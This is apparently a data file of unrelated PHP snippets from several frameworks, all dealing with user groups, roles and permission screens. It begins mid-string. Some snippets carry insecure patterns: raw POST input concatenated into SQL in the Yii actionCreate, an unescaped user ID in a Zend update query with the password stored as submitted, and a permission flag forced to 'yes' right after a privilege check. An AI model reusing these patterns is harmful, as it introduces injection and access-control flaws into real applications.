$site->site_name;\n $status = (isset($group_data[$field]) && $group_data[$field] == 'y') ? 'y' : 'n';\n $group_data[$field] = $status;\n }\n }\n\n // ------------------------------------\n // Assign clusters of member groups\n // - The associative value (y/n) is the default setting\n // ------------------------------------\n\n $G = static::$group_preferences;\n\n $G['cp_site_cp_access_privs'] = $site_cp_names;\n $G['cp_site_offline_privs'] = $site_offline_names;\n $G['cp_weblog_post_privs'] = $blog_names;\n $G['cp_plugin_access_privs'] = $plugin_names;\n\n // ------------------------------------\n // Super Admin Group cannot be edited\n // ------------------------------------\n\n if ($group_id == 1) {\n $G = ['mbr_account_privs' => ['include_in_authorlist' => 'n']];\n }\n\n // ------------------------------------\n // Assign items we want to highlight\n // ------------------------------------\n\n $alert = [\n 'can_view_offline_system',\n 'can_access_cp',\n 'can_admin_weblogs',\n 'can_admin_templates',\n 'can_delete_members',\n 'can_admin_mbr_groups',\n 'can_ban_users',\n 'can_admin_members',\n 'can_admin_preferences',\n 'can_admin_plugins',\n 'can_admin_utilities',\n 'can_edit_categories',\n 'can_delete_self'\n ];\n\n // ------------------------------------\n // Items that should be shown in an input box\n // ------------------------------------\n\n $tbox = [\n 'search_flood_control',\n 'mbr_delete_notify_emails'\n ];\n\n // ------------------------------------\n // Render the group matrix\n // ------------------------------------\n\n $special = ['cp_plugin_access_privs', 'cp_site_offline_privs', 'cp_site_cp_access_privs'];\n\n foreach ($G as $g_key => $g_val)\n {\n // ------------------------------------\n // Start the Table\n // ------------------------------------\n\n $r .= '<div id=\"'.$g_key.'_on\" style=\"display: none; padding:0; margin: 0;\">';\n $r .= Cp::table('tableBorder', '0', '', '100%');\n $r .= '<tr>'.PHP_EOL;\n\n $r .= \"<td class='tableHeadingAlt' id='\".$g_key.\"2' colspan='2'>\";\n $r .= NBS.__($g_key);\n $r .= '</tr>'.PHP_EOL;\n\n $i = 0;\n\n foreach($g_val as $key => $val)\n {\n if ( !in_array($g_key, $special) && ! isset($group_data[$key])) {\n $group_data[$key] = $val;\n }\n\n $line = __($key);\n\n if (substr($key, 0, strlen('weblog_id_')) == 'weblog_id_')\n {\n $line = __('members.can_post_in').Cp::quickSpan('alert', $blog_names[$key]);\n }\n\n if (substr($key, 0, strlen('plugin_name_')) == 'plugin_name_')\n {\n\n $line = __('members.can_access_plugin').Cp::quickSpan('alert', $plugin_names[$key]);\n }\n\n if (substr($key, 0, strlen('can_access_offline_site_id_')) == 'can_access_offline_site_id_')\n {\n $line = __('members.can_access_offline_site').Cp::quickSpan('alert', $site_offline_names[$key]);\n }\n\n if (substr($key, 0, strlen('can_access_cp_site_id_')) == 'can_access_cp_site_id_')\n {\n $line = __('members.can_access_cp').Cp::quickSpan('alert', $site_cp_names[$key]);\n }\n\n $mark = (in_array($key, $alert)) ? Cp::quickSpan('alert', $line) : Cp::quickSpan('defaultBold', $line);\n\n $r .= '<tr>'.PHP_EOL.\n Cp::td('', '60%').\n $mark;\n\n $r .= '</td>'.PHP_EOL.\n Cp::td('', '40%');\n\n if (in_array($key, $tbox))\n {\n $width = ($key == 'mbr_delete_notify_emails') ? '100%' : '100px';\n $length = ($key == 'mbr_delete_notify_emails') ? '255' : '5';\n $r .= Cp::input_text($key, $group_data[$key], '15', $length, 'input', $width);\n }\n else\n {\n $r .= __('cp.yes').NBS.\n Cp::input_radio($key, 'y', ($group_data[$key] == 'y') ? 1 : '').' ';\n\n $r .= __('cp.no').NBS.\n Cp::input_radio($key, 'n', ($group_data[$key] == 'n') ? 1 : '').' ';\n }\n\n $r .= '</td>'.PHP_EOL;\n $r .= '</tr>'.PHP_EOL;\n }\n\n $r .= '</table>'.PHP_EOL;\n $r .= '</div>'.PHP_EOL;\n }\n\n // ------------------------------------\n // Submit button\n // ------------------------------------\n\n if (empty($group_id))\n {\n $r .= Cp::quickDiv(\n 'paddingTop',\n Cp::input_submit(__('cp.submit'))\n .NBS.\n Cp::input_submit(__('cp.submit_and_return'),'return')\n );\n }\n else\n {\n $r .= Cp::quickDiv(\n 'paddingTop',\n Cp::input_submit(__('members.update')).\n NBS.\n Cp::input_submit(__('members.update_and_return'), 'return')\n );\n }\n\n $r .= '</form>'.PHP_EOL;\n\n // ------------------------------------\n // Create Our All Encompassing Table of Weblog Goodness\n // ------------------------------------\n\n Cp::$body .= Cp::table('', '0', '', '100%');\n\n $menu = '';\n $menu .= Cp::quickDiv('navPad',\n ' <span id=\"group_name_pointer\">• '.\n Cp::anchor(\"#\", __('members.group_name'),'onclick=\"showHideMenu(\\'group_name\\');\"').\n '</span>');\n\n if ($group_id != 1)\n {\n $menu .= Cp::quickDiv('navPad',\n ' <span id=\"group_lock_pointer\">• '.\n Cp::anchor(\"#\", __('members.security_lock'), 'onclick=\"showHideMenu(\\'group_lock\\');\"').\n '</span>');\n }\n\n // Sites Access\n if ($group_id != 1)\n {\n $menu .= Cp::quickDiv('navPad',\n ' <span id=\"cp_site_cp_access_privs_pointer\">• '.\n Cp::anchor(\"#\", __('members.cp_site_cp_access_privs'), 'onclick=\"showHideMenu(\\'cp_site_cp_access_privs\\');\"').\n '</span>'\n );\n }\n\n // Sites Access\n if ($group_id != 1)\n {\n $menu .= Cp::quickDiv('navPad',\n ' <span id=\"cp_site_offline_privs_pointer\">• '.\n Cp::anchor(\"#\", __('members.cp_site_offline_privs'), 'onclick=\"showHideMenu(\\'cp_site_offline_privs\\');\"').\n '</span>'\n );\n }\n\n\n foreach ($G as $g_key => $g_val)\n {\n if (in_array($g_key, $special)) {\n continue;\n }\n\n $menu .= Cp::quickDiv(\n 'navPad',\n ' <span id=\"'.$g_key.'_pointer\">• '.\n Cp::anchor(\n \"#\",\n __($g_key),\n 'onclick=\"showHideMenu(\\''.$g_key.'\\');\"'\n ).\n '</span>');\n }\n\n // Plugins\n if ($group_id != 1)\n {\n $menu .= Cp::quickDiv('navPad',\n ' <span id=\"cp_plugin_access_privs_pointer\">• '.\n Cp::anchor(\"#\", __('members.cp_plugin_access_privs'), 'onclick=\"showHideMenu(\\'cp_plugin_access_privs\\');\"').\n '</span>'\n );\n }\n\n // ------------------------------------\n // Compile all of it into output\n // ------------------------------------\n\n $title = (!empty($id)) ? __('members.edit_member_group') : __('members.create_member_group');\n\n $first_text = Cp::div('tableHeadingAlt').\n $title.\n '</div>'.PHP_EOL.\n Cp::div('profileMenuInner', '', 'membersMenu').\n $menu.\n '</div>'.PHP_EOL;\n\n // Create the Table\n $table_row = [\n 'first' => ['valign' => \"top\", 'width' => \"220px\", 'text' => $first_text],\n 'second' => ['class' => \"default\", 'width' => \"8px\"],\n 'third' => ['valign' => \"top\", 'text' => $r]\n ];\n\n Cp::$body .= Cp::tableRow($table_row).\n '</table>'.PHP_EOL;\n\n Cp::$title = $title;\n\n if ($group_id != '')\n {\n Cp::$crumb =\n Cp::anchor(\n BASE.'?C=Administration'.\n AMP.'area=members_and_groups',\n __('admin.members_and_groups')\n ).\n Cp::breadcrumbItem(\n Cp::anchor(\n BASE.'?C=Administration'.\n AMP.'M=members'.\n AMP.'P=mbr_group_manager',\n __('admin.member_groups')\n )\n ).\n Cp::breadcrumbItem(\n Cp::anchor(\n BASE.'?C=Administration'.\n AMP.'M=members'.\n AMP.'P=edit_mbr_group'.\n AMP.'group_id='.$group_data['group_id'],\n $title\n )\n ).\n Cp::breadcrumbItem($group_data['group_name']);\n }\n else\n {\n Cp::$crumb =\n Cp::anchor(\n BASE.'?C=Administration'.\n AMP.'area=members_and_groups',\n __('admin.members_and_groups')\n ).\n Cp::breadcrumbItem(\n Cp::anchor(\n BASE.'?C=Administration'.\n AMP.'M=members'.\n AMP.'P=mbr_group_manager',\n __('admin.member_groups')\n )\n ).\n Cp::breadcrumbItem($title);\n }\n }",
"function delete_group() {\n $this->acl->validate_update();\n\n $where = array(\n 'user_id' => $this->input->post('user_id'),\n 'group_id' => $this->input->post('group_id')\n );\n list($flag, $msg) = $this->m_general->delete('users_group', $where);\n\n return JSONRES($flag, $msg);\n }",
"public static function saveGroup($id = null, $data) {\n global $lC_Database;\n\n $error = false;\n $result = array();\n\n $lC_Database->startTransaction();\n\n if ( isset($id) && $id != null ) {\n $Qadmin = $lC_Database->query('update :table_administrators_groups set name = :name, last_modified = :last_modified where id = :id');\n $Qadmin->bindInt(':id', $id);\n $Qadmin->bindRaw(':last_modified', 'now()');\n } else {\n $Qadmin = $lC_Database->query('insert into :table_administrators_groups (name, date_added) values (:name, :date_added)');\n $Qadmin->bindRaw(':date_added', 'now()');\n }\n\n $Qadmin->bindTable(':table_administrators_groups', TABLE_ADMINISTRATORS_GROUPS);\n $Qadmin->bindValue(':name', $data['group_name']);\n $Qadmin->setLogging($_SESSION['module'], $id);\n $Qadmin->execute();\n\n if ( !$lC_Database->isError() ) {\n if ( !is_numeric($id) ) {\n $id = $lC_Database->nextID();\n }\n } else {\n $error = true;\n }\n\n if ( $error === false ) {\n if ( !empty($data) ) {\n\n $accessModulesArr = array();\n foreach ($data as $key => $value) {\n if ($key == 'process' || $key == 'group_name') continue;\n if (!(strpos($key, '-'))) continue;\n $accessModulesArr[$key] = $value;\n }\n\n // sanity check - since this process is additive, remove any stray access modules for this id first before inserting.\n $Qdel = $lC_Database->query('delete from :table_administrators_access where administrators_groups_id = :administrators_groups_id');\n $Qdel->bindTable(':table_administrators_access', TABLE_ADMINISTRATORS_ACCESS);\n $Qdel->bindInt(':administrators_groups_id', $id);\n $Qdel->setLogging($_SESSION['module'], $id);\n $Qdel->execute();\n\n foreach ($accessModulesArr as $module => $level) {\n $Qcheck = $lC_Database->query('select administrators_groups_id from :table_administrators_access where administrators_groups_id = :administrators_groups_id and module = :module limit 1');\n $Qcheck->bindTable(':table_administrators_access', TABLE_ADMINISTRATORS_ACCESS);\n $Qcheck->bindInt(':administrators_groups_id', $id);\n $Qcheck->bindValue(':module', $module);\n $Qcheck->execute();\n\n if ( $Qcheck->numberOfRows() < 1 ) {\n $Qinsert = $lC_Database->query('insert into :table_administrators_access (administrators_groups_id, module, level) values (:administrators_groups_id, :module, :level)');\n $Qinsert->bindTable(':table_administrators_access', TABLE_ADMINISTRATORS_ACCESS);\n $Qinsert->bindInt(':administrators_groups_id', $id);\n $Qinsert->bindValue(':module', $module);\n $Qinsert->bindValue(':level', floor($level/25));\n $Qinsert->setLogging($_SESSION['module'], $id);\n $Qinsert->execute();\n\n if ( $lC_Database->isError() ) {\n $error = true;\n break;\n }\n }\n $Qcheck->freeResult();\n }\n }\n }\n\n if ( $error === false ) {\n $lC_Database->commitTransaction();\n $result['rpcStatus'] = 1; // succeaa\n } else {\n $lC_Database->rollbackTransaction();\n $result['rpcStatus'] = -1; // error saving\n }\n\n return $result;\n }",
"public function index()\r\n\t{\r\n\t\t// ->join('admin_auth_group group','group.id=access.group_id')\r\n\t\t// ->select();\r\n\t\t$admin = new Admin_role;\r\n\t\t$res = $admin->select();\r\n\t\t$authG =new Auth();\r\n\t\tforeach ($res as $key => $value) {\r\n\t\t\t$_groupTitle = $authG->getGroups($value['id']);\r\n\t\t\t$groupTitle = $_groupTitle[0]['title'];\r\n\t\t\t$value['groupTitle'] =$groupTitle;\r\n\r\n\t\t}\r\n\t\t$this->assign('res',$res);\r\n\t\treturn $this->fetch();\r\n\t}",
"public function addGroup()\n {\n\n if (requestMethod() == 'POST') {\n $controllers = $this->input->post('cont_permission');\n $methods = $this->input->post('method_permission');\n $permissions = [];\n\n // set full permission controller\n\n if ($controllers) {\n\n foreach ($controllers as $controller) {\n $permissions[] = $controller;\n }\n\n }\n\n // set permission method\n\n if ($methods) {\n\n foreach ($methods as $cont => $method) {\n\n if (!$controllers or !in_array($cont, $controllers)) {\n $permissions[] = $method;\n }\n\n }\n\n }\n\n $data = [\n 'name' => $this->input->post('name'),\n 'desc' => $this->input->post('desc'),\n 'permissions' => serialize($permissions),\n 'created_time' => time(),\n 'last_update' => time(),\n ];\n\n $res = $this->admin_model->addGroup($data);\n\n if ($res) {\n $this->session->set_flashdata('success', lang('success'));\n $this->session->set_flashdata('alertUrl', base_url() . 'cms/admin/addGroup');\n $this->session->set_flashdata('alertText', lang('add_new_one'));\n redirect('/cms/admin');\n } else {\n $this->session->set_flashdata('error', lang('failed'));\n redirect('/cms/addGroup');\n }\n\n }\n\n $data['controllers'] = $this->auth->listController();\n\n self::__loadHeader();\n self::__loadNavbar('admin');\n $this->body = $this->load->view('admin/add_group_view', $data, true);\n self::__loadView();\n\n }",
"function addGroupHandler() {\n global $inputs;\n\n $lastId = insert('group',[\n 'admin_id' => getLogin()['uid'],\n 'group_name' => $inputs['name'],\n 'description' => $inputs['desc'],\n ]);\n\n formatOutput(true, 'add success');\n}",
"static function getUserGroups(){\n \n }",
"public function userEditAction()\n\t{\n $userId = $this->_request->getParam('userId');\n $userplus_obj=new Ep_User_UserPlus();\n $details= $userplus_obj->getUsersDetailsOnId($userId);\n $user_obj = new Ep_User_User();\n $usergrouplist = $user_obj->getUserGroups();\n foreach($usergrouplist as $key=>$value)\n {\n /* if($value['groupName']!='superadmin')*/\n $usergroups[$value['groupName']]=$value['groupName'];\n }\n\n $this->_view->usergroups = $usergroups;\n $this->_view->Userdetails=$details;\n $this->_view->profilepic = \"/FO/profiles/bo/\".$details[0]['identifier'].\"/logo.jpg\";\n\n if($this->_request-> isPost())\n {\n $user_params=$this->_request->getParams(); // print_r($user_params); exit;\n $userplus_obj = new Ep_User_UserPlus();\n $user_obj = new Ep_User_User();\n ////for goroup Id in users table////\n $grouparray = array('superuser'=>1,'ceouser'=>2,'salesuser'=>3, 'chiefeditor'=>4, 'editor'=>5, 'seouser'=>6, 'customercare'=>7, 'partner'=>8, 'facturation'=>9, 'custom'=>10, 'multilingue'=>11);\n $user_obj->login=$user_params[\"login\"] ;\n $user_obj->email=$user_params[\"email\"] ;\n $user_obj->password=$user_params[\"password\"] ;\n $user_obj->status=$user_params[\"status\"] ;\n $user_obj->type=$user_params[\"type\"] ;\n $user_group = $grouparray[$user_params[\"type\"]];\n $user_obj->groupId=$user_group;\n $data_user = array(\"login\"=>$user_obj->login, \"email\"=>$user_obj->email, \"password\"=>$user_obj->password,\n \"status\"=>$user_obj->status, \"type\"=>$user_obj->type, \"groupId\"=>$user_obj->groupId);\n $query_user = \"identifier= '\".$userId.\"'\";\n try\n {\n $userplus_obj->initial=$user_params[\"initial\"] ;\n $userplus_obj->first_name=$user_params[\"first_name\"] ;\n $userplus_obj->last_name=$user_params[\"last_name\"] ;\n $userplus_obj->address=$user_params[\"address\"] ;\n $userplus_obj->city=$user_params[\"city\"] ;\n $userplus_obj->state=$user_params[\"state\"] ;\n $userplus_obj->zipcode=$user_params[\"zipcode\"] ;\n $userplus_obj->country=$user_params[\"country\"] ;\n $userplus_obj->phone_number=$user_params[\"phone_number\"] ;\n\n $data_userplus = array(\"initial\"=>$userplus_obj->initial, \"first_name\"=>$userplus_obj->first_name, \"last_name\"=>$userplus_obj->last_name,\n \"address\"=>$userplus_obj->address, \"city\"=>$userplus_obj->city, \"state\"=>$userplus_obj->state, \"zipcode\"=>$userplus_obj->zipcode,\n \"country\"=>$userplus_obj->country, \"phone_number\"=>$userplus_obj->phone_number);\n $query_userplus = \"user_id= '\".$userId.\"'\";\n\n $user_obj->updateUser($data_user,$query_user);\n $userplus_obj->updateUserPlus($data_userplus,$query_userplus);\n\n $this->_helper->FlashMessenger('Profile Updated Successfully.');\n $this->_redirect(\"/user/bo-users?submenuId=ML10-SL3\");\n // $this->render('user_userdetails');\n }\n catch(Zend_Exception $e)\n {\n echo $e->getMessage();\n $this->_view->error_msg =$e->getMessage().\" Désolé! Mise en erreur.\";\n $this->render('user_useredit');\n }\n }else\n {\n $this->render('user_useredit');\n }\n }",
"public function testAddUserIntoGroup(){\n jAcl2DbUserGroup::createUser('robert');\n self::$grpId7 = $this->getLastId('id_aclgrp', 'jacl2_group');\n jAcl2DbUserGroup::addUserToGroup('robert', self::$grpId1);\n\n self::$groups[] = array('id_aclgrp'=>self::$grpId7,\n 'name'=>'robert',\n 'grouptype'=>2,\n 'ownerlogin'=>'robert');\n $this->assertTableContainsRecords('jacl2_group', self::$groups);\n\n self::$usergroups=array(\n array('login'=>'laurent', 'id_aclgrp'=>self::$grpId5),\n array('login'=>'max', 'id_aclgrp'=>self::$grpId6),\n array('login'=>'max', 'id_aclgrp'=>self::$defaultGroupId),\n array('login'=>'robert', 'id_aclgrp'=>self::$grpId7),\n array('login'=>'robert', 'id_aclgrp'=>self::$defaultGroupId),\n array('login'=>'robert', 'id_aclgrp'=>self::$grpId1),\n );\n $this->assertTableContainsRecords('jacl2_user_group', self::$usergroups);\n }",
"public function create()\n {\n if(Auth::user()->group->id <= 1){\n $groups = UserGroups::all();\n }else{\n $groups = UserGroups::where('id', '>', 1)->get();\n }\n return view('admin.users.form',[\n 'title_postfix' => $this->configs['new'],\n 'navigation' => $this->navigation,\n 'groups' => $groups\n ]);\n }",
"public function index()\n {\n //\n if(Auth::user()->hasRole('superadministrator')){\n $groups = Group::paginate(10);\n }else{\n $groups = Group::where('owner_client_id', Auth::user()->id)->paginate(10);\n }\n return view('manage.groups.index')->withGroups($groups);\n }",
"public function account_group()\n {\n //goal: one controller and one module for complete genric Creation.\n $form_validation='account_group';\n $table_name='account_group';\n $view='accounts/account_group';\n $field='account_group_name';\n $this->insert_genric($form_validation,$table_name,$view,$field);\n }",
"public function account_group()\n {\n //goal: one controller and one module for complete genric Creation.\n $form_validation='account_group';\n $table_name='account_group';\n $view='accounts/account_group';\n $field='account_group_name';\n $this->insert_genric($form_validation,$table_name,$view,$field);\n }",
"public function update() {\n\t\t$data = array(\n\t\t\t'tstamp' => $this['timeStamp'],\n\t\t\t'crdate' => $this['createDate'],\n\t\t\t'cruser_id' => $this['cruserUid'],\n\t\t\t'name' => $this['name'],\n\t\t);\n\t\t$res = $GLOBALS['TYPO3_DB']->exec_UPDATEquery(\n\t\t\t'tx_passwordmgr_group',\n\t\t\t'uid=' . $GLOBALS['TYPO3_DB']->fullQuoteStr($this['uid'],'tx_passwordmgr_group'),\n\t\t\t$data\n\t\t);\n\t\t$this->checkAffectedRows('updateGroup', 1);\n\t\ttx_passwordmgr_helper::addLogEntry(1, 'updateGroup', 'Update group '.$data['name'].' uid '.$this['uid']);\n\t}",
"function superadmin_view($id=NULL) {\n\t\t$this->set('meta_title','User Group Details');\n\t\t$this->id= (int)$id;\n\t\tif(!$this->id) {\n\t\t\t$this->Session->setFlash('Invalid admin user id.');\n\t\t\t$this->redirect(array('controller'=>'roles','action' => \"index\")); \n\t\t}\n\t\t$this->set('data',$this->Role->read('',$id));\n\t}",
"public function actionCreate()\n \t{\n \t$model = new UserGroupMaster();\n \t\tif ($model->load(Yii::$app->request->post()))\n\t\t{ \n \t\t$model->save(false);\n \t$id = Yii::$app->db->getLastInsertID();\n \t\t$sql=\"insert user_group_assign(group_id,emp_id) select \".$id.\" as group_id, u.id from user u where u.id in(\".trim(Yii::$app->request->post()['UserGroupMaster']['users'],\"[]\").\")\";\n\n \t\t\tYii::$app->db->createCommand($sql)->execute();\n \t\treturn $this->redirect(['view', 'id' => $model->group_id]);\n \t}\n\t\telse\n\t\t{\n \t\treturn $this->render('create', ['model' => $model,]);\n \t}\n \t}",
"function initGroups() {\n $groups = array(0 => array('alias' => 'members',\n 'model' => 'Group',\n 'foreign_key' => 1),\n 1 => array('alias' => 'moderators',\n 'model' => 'Group',\n 'foreign_key' => 2),\n 2 => array('alias' => 'administrators',\n 'model' => 'Group',\n 'foreign_key' => 3));\n\n foreach ($groups as $data) {\n $this->Acl->Aro->create();\n $this->Acl->Aro->save($data);\n }\n }",
"public function createnewgroupAction()\n {\n $appraisal_id = $this->_getParam('appraisal_id',null);\n $manager_id = $this->_getParam('manager_id',null);\n $flag = $this->_getParam('flag',null);\n $group_id = $this->_getParam('group_id',null);\n \n $auth = Zend_Auth::getInstance();\n \tif($auth->hasIdentity())\n { \n $loginuserRole = $auth->getStorage()->read()->emprole;\n $loginuserGroup = $auth->getStorage()->read()->group_id;\n }\n \n try\n {\n if($appraisal_id != '' && $manager_id != '')\n {\n $appraisal_id = sapp_Global::_decrypt($appraisal_id);\n $manager_id = sapp_Global::_decrypt($manager_id);\n if($flag == 'edit')\n $group_id = sapp_Global::_decrypt($group_id);\n \n $app_manager_model = new Default_Model_Appraisalmanager();\n $appraisal_init_model = new Default_Model_Appraisalinit();\n $appraisal_qs_model = new Default_Model_Appraisalquestions();\n $check_array = array();\n $tablename = 'main_pa_questions_privileges';\n $manager_emp = $app_manager_model->getmanager_emp($appraisal_id, $manager_id,'');\n \n if(empty($manager_emp) && $flag == 'add')\n $this->view->ermsg = 'No employees to add.';\n \n $appraisaldata = $appraisal_init_model->getConfigData($appraisal_id);\n $appraisaldata = $appraisaldata[0];\n \n $questionPrivileges = $appraisal_qs_model->gethrquestionprivileges($appraisal_id,$tablename,''); \n \n $questionsArr = $appraisal_qs_model->getQuestionsByCategory($appraisaldata['category_id'],'');\n \n \tif(!empty($questionPrivileges))\n\t\t\t \t{\n\t\t\t \t\tif(isset($questionPrivileges['manager_qs']) && isset($questionPrivileges['manager_qs_privileges']))\n\t\t\t \t\t{\n\t\t\t \t\t\tif($questionPrivileges['manager_qs'] !='' && $questionPrivileges['manager_qs_privileges'] !='')\n\t\t\t \t\t\t{\n\t\t\t\t\t \t\t$hr_qs_Arr = explode(',',$questionPrivileges['manager_qs']);\n\t\t\t\t\t \t\t$hr_qs_privileges = json_decode($questionPrivileges['manager_qs_privileges'],true);\n\t\t\t\t\t\t \tforeach($hr_qs_privileges as $key => $val)\n\t\t\t\t\t\t \t{\n\t\t\t\t\t\t \t\t//$val = explode(',',substr($val, 1, -1));\n\t\t\t\t\t\t \t\t$check_array[$key] = $val;\n\t\t\t\t\t\t \t}\n\t\t\t \t\t\t}\n\t\t\t \t\t}\n\t\t\t \t}\n\t\t\t \t\n if(sapp_Global::_checkprivileges(APPRAISALQUESTIONS,$loginuserGroup,$loginuserRole,'edit') == 'Yes')\n {\n $appraisaldata['poppermission'] = 'yes';\n }\n $appraisaldata['poppermission'] = 'yes';\n $manager_emp_selected = array();\n $group_name = \"\";\n if($flag == 'edit')\n {\n $app_group_model = new Default_Model_Appraisalgroups();\n $group_details = $app_group_model->getAppraisalGroupsDatabyID($group_id);\n if(!empty($group_details))\n\t\t\t\t\t{\n $group_details = $group_details[0];\n\t\t\t\t\t\t$group_name = $group_details['group_name'];\n\t\t\t\t\t\t$manager_emp_selected = $app_manager_model->getmanager_emp($appraisal_id, $manager_id,$group_id);\n\t\t\t\t\t\t$manager_qs_privileges = json_decode($manager_emp_selected[0]['manager_qs_privileges'],true);\n\t\t\t\t\t\tforeach($manager_qs_privileges as $key => $val)\n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t$check_array[$key] = $val;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->view->ermsg = 'No data found.';\n\t\t\t\t\t}\t\t\t\t\t\n }\n \n $view = $this->view;\n $view->appraisal_id = $appraisal_id;\n $view->manager_id = $manager_id;\n $view->manager_emp = $manager_emp;\n $view->questionsArr = $questionsArr;\n $view->checkArr = $check_array;\n $view->appraisaldata = $appraisaldata;\n $view->checkArr = $check_array;\n $view->flag = $flag;\n $view->group_name = $group_name;\n $view->group_id = $group_id;\n $view->selected_emp = $manager_emp_selected;\n }\n else\n {\n $this->view->ermsg = 'No data found.';\n }\n } \n catch (Exception $ex) \n {\n $this->view->ermsg = 'No data found.';\n }\n }",
"public function run()\n\t{\n\t\tDB::table('groups')->delete();\n\t\tSentry::getGroupProvider()->create(array(\n\t 'name' => 'Users',\n\t 'permissions' => array(\n\t 'admin' => 0,\n\t 'users' => 1,\n\t )));\n\t\tSentry::getGroupProvider()->create(array(\n\t 'name' => 'Admins',\n\t 'permissions' => array(\n\t 'admin' => 1,\n\t 'users' => 1,\n\t )));\n\t}",
"public function addusergroupAction(){\t\t\n\t\t$request = $this->getRequest();\t\t\n\t\t$group_id= (int) $this->params('group_id');\n\t\t$identity = null; \n\t\t$auth = new AuthenticationService();\t\t\t \n\t\t\tif ($auth->hasIdentity()) {\n \t// Identity exists; get it\n \t\t$identity = $auth->getIdentity();\t\t\t\t\n\t\t\t\t#check the identity against the DB\n\t\t\t\t$userData = $this->getUserTable()->getUser($identity->user_id);\t\t\t\t\n\t\t\t\tif(isset($userData->user_id) && !empty($userData->user_id) && isset($group_id) && !empty($group_id)) {\t\t\t\t\n\t\t\t\t\t#get Group Info\n\t\t\t\t\t$groupData = $this->getGroupTable()->getGroup($group_id);\n\t\t\t\t\tif(isset($groupData->group_id) && !empty($groupData->group_id) && isset($groupData->group_parent_group_id) && trim($groupData->group_parent_group_id)==\"0\"){\n\t\t\t\t\t\t#this will conform group exist and it is a Galaxy. Not Sub Group\n\t\t\t\t\t\t$groupAlreadyRegisterInfo =$this->getUserGroupTable()->getUserGroup($userData->user_id, $groupData->group_id);\n\t\t\t \t\t\tif(isset($groupAlreadyRegisterInfo->user_group_id) && !empty($groupAlreadyRegisterInfo->user_group_id)){\n\t\t\t\t\t\t\t//this means user is already register. Do nothing\n\t\t\t\t\t\t\t$arr = array('error' => \"yes\", 'status' => \"You are already registered for this Galaxy\");\n\t\t\t\t\t\t\techo json_encode($arr);\t\t\t\t\t\t\t \n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t //this means user is not register. Proced adding.\n\t\t\t\t\t\t\t $userGroupData = array();\n\t\t\t\t\t\t\t $userGroupData['user_group_user_id'] = $userData->user_id;\n\t\t\t\t\t\t\t $userGroupData['user_group_group_id'] = $groupData->group_id;\n\t\t\t\t\t\t\t #create object of User class\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t $userGroupData['user_group_added_ip_address'] = user::getUserIp();\n\t\t\t\t\t\t\t $userGroupData['user_group_status'] = \"1\";\n\t\t\t\t\t\t\t $userGroupData['user_group_is_owner'] = \"0\";\n\t\t\t\t\t\t\t #lets Save the User\n\t\t\t\t\t\t\t$userGroup = new UserGroup();\n\t\t\t\t\t\t\t$userGroup->exchangeArray($userGroupData);\n\t\t\t\t\t\t\t$insertedUserGroupId =\"\";\t#this will hold the latest inserted id value\n\t\t\t\t\t\t\t$insertedUserGroupId = $this->getUserGroupTable()->saveUserGroup($userGroup); \t\n\t\t\t\t\t\t\tif(isset($insertedUserGroupId) && !empty($insertedUserGroupId)){\n\t\t\t\t\t\t\t\t$arr = array('error' => \"no\", 'status' => \"Galaxy added successfully\");\n\t\t\t\t\t\t\t\techo json_encode($arr);\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$arr = array('error' => \"yes\", 'status' => \"An error is occured while saving Galaxy.Please try again\");\n\t\t\t\t\t\t\t\techo json_encode($arr);\n\t\t\t\t\t\t\t}\t\t\t\t\t\t \n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t} else {//if(isset($userData->user_id) && !empty($userData->user_id) && isset($group_id) && !empty($group_id))\t\t\t\t\n\t\t\t\t\t\t$arr = array('error' => \"yes\", 'status' => \"Invalid Access. Galaxy does not exist\");\n\t\t\t\t\t\techo json_encode($arr);\n\t\t\t\t\t}\n\t\t\t\t} else { //if(isset($userData->user_id) && !empty($userData->user_id) && isset($group_id) && !empty($group_id))\n\t\t\t\t\t$arr = array('error' => \"yes\", 'status' => \"Invalid Access. You need to login\");\n\t\t\t\t\techo json_encode($arr);\n\t\t\t\t}\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$arr = array('error' => \"yes\", 'status' => \"Invalid Access. You need to login\");\n\t\t\t\techo json_encode($arr);\n\t\t\t}\n\t\t\t\n\t\t \n\t\t exit;\n\t\t$viewModel = new ViewModel();\n \t$viewModel->setTerminal($request->isXmlHttpRequest());\n \treturn $viewModel;\n\t}",
"public function index()\n {\n return Auth::user()->groups()->orderBy('order')->get();\n }",
"public function run()\n\t{\n\t\tDB::table('users_groups')->delete();\n\t\t$userUser = Sentry::getUserProvider()->findByLogin('[email protected]');\n\t\t$adminUser = Sentry::getUserProvider()->findByLogin('[email protected]');\n\t\t$userGroup = Sentry::getGroupProvider()->findByName('Users');\n\t\t$adminGroup = Sentry::getGroupProvider()->findByName('Admins');\n // Assign the groups to the users\n $userUser->addGroup($userGroup);\n $adminUser->addGroup($userGroup);\n $adminUser->addGroup($adminGroup);\n\t}",
"function index()\n {\n if(!$this->ion_auth->logged_in())\n { \n flashMsg('error','You are not Logged In');\n redirect('auth/login');\n }\n if($this->ion_auth->in_group('user')){\n redirect('user/show_complain');\n }\n if($this->ion_auth->in_group('technician')){\n redirect('technician/show_complain');\n }\n if($this->ion_auth->in_group('admin')){\n redirect('admin/show_complain');\n } \n \n else\n { //mdie($this->session->userdata);\n //set the flash data error message if there is one\n //$message = (validation_errors()) ? validation_errors() : $this->session->flashdata('message');\n \n //list the users\n if($_POST){\n if(isset($_POST['group_id']))\n $group_id=$_POST['group_id'];\n else\n $group_id=null;\n if(isset($_POST['email']))\n $email=$_POST['email'];\n else\n $email=null;\n \n \n }else\n {\n $group_id=null;\n $email=null;\n \n }\n \n $this->data['users'] = $this->ion_auth->users($group_id,$email)->result();\n foreach ($this->data['users'] as $k => $user)\n {\n $this->data['users'][$k]->groups = $this->ion_auth->get_users_groups($user->id)->result();\n }\n $groups=$this->ion_auth_model->get_groups();\n $options=array();\n $options[null]='choose group';\n foreach($groups as $group){\n $options[$group->id]=$group->description;\n \n }\n \n $this->data['group_options']=$options;\n $this->data['module']='auth';\n $this->data['page']='index';\n $this->load->view('admin_container', $this->data);\n // $this->load->view('auth/index', $this->data);\n }\n \n }",
"public function create()\n {\n return view('admin.user.create',['groups'=>$this->_group]);\n }",
